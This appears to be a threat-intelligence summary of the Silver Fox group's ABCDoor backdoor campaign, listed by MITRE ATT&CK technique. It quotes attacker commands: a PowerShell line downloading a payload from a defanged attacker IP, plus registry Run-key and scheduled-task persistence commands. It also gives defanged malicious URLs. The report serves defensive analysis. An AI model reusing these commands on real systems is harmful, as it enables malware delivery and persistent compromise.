Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

MITRE Techniques

• [T1566 ] Phishing – Use of tax-themed emails and PDFs to induce users to download or open malicious archives (‘phishing emails were styled as official notices regarding tax audits’).
• [T1566.001 ] Spearphishing Attachment – Direct embedding of malicious executables within email attachments (e.g., ITD.-.rar containing Click File.exe) (‘the malicious code was embedded directly within the files attached to the email’).
• [T1566.002 ] Spearphishing Link – PDFs with clickable download links that lead to attacker-controlled sites (e.g., abc.haijing88[.]com/uploads/фнс/фнс.zip) to bypass gateways (‘The PDF contained two clickable links to download an archive, both leading to a malicious website’).
• [T1105 ] Ingress Tool Transfer – Downloading additional payloads and archives from attacker servers using InternetReadFile, URLDownloadToFile, PowerShell, and curl (examples: hxxp://154.82.81[.]205/YD20251001143052.zip) (‘The module implements the following download methods: Using the InternetReadFile function… Using the URLDownloadToFile function… Using PowerShell… Using curl’).
• [T1547 ] Boot or Logon Autostart Execution (Phantom Persistence) – Abuse of RegisterApplicationRestart and shutdown-hijack logic to achieve persistence across reboots (‘Phantom Persistence Module (Hijack Mode)’ and ‘[*] Calling RegisterApplicationRestart… [+] RegisterApplicationRestart succeeded.’).
• [T1547.001 ] Registry Run Keys / Startup Folder – Establishing persistence via HKCU Run key to auto-start the Python module (‘reg add “HKCUSoftwareMicrosoftWindowsCurrentVersionRun” /v “AppClient” … “”” -m appclient”‘).
• [T1053.005 ] Scheduled Task/Job – Creating a scheduled task named “AppClient” that runs every minute to ensure execution (‘schtasks /create /sc minute /mo 1 /tn “AppClient” /tr ” -m appclient” /f’).
• [T1059.001 ] Command and Scripting Interpreter: PowerShell – Use of PowerShell for downloading and executing payloads and for update execution (‘powershell.exe -Command “& {[System.Net.ServicePointManager]::SecurityProtocol = … Invoke-WebRequest -Uri ‘hxxp://154.82.81[.]205/YD20251001143052.zip’ -OutFile … }”‘).
• [T1059.006 ] Command and Scripting Interpreter: Python – Execution of the backdoor under pythonw.exe (-m appclient) and delivery of a Python environment bundled in the archive (‘start “” /B “%DES_DIR%pythonpythonw.exe” -m appclient’).
• [T1071.001 ] Application Layer Protocol: Web Protocols – Backdoor C2 communication over HTTPS / Socket.IO for command and control (‘the backdoor establishes persistence… built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS’).
• [T1027 ] Obfuscated Files or Information – Use of encryption, string obfuscation, junk instruction insertion and multiple payload encryption/encoding options in RustSL to impede analysis (‘Eight payload encryption methods… encrypts all strings by default and inserts junk instructions’).
• [T1113 ] Screen Capture – Use of bundled ffmpeg.exe and DDA-based capture functions to record and stream one or multiple monitors (‘the backdoor uses ffmpeg.exe … for screen capturing’ and ‘recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA)’).